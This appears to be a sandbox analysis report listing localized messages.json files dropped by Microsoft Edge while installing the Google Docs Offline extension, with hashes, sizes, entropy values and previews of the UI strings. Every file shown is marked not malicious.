Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
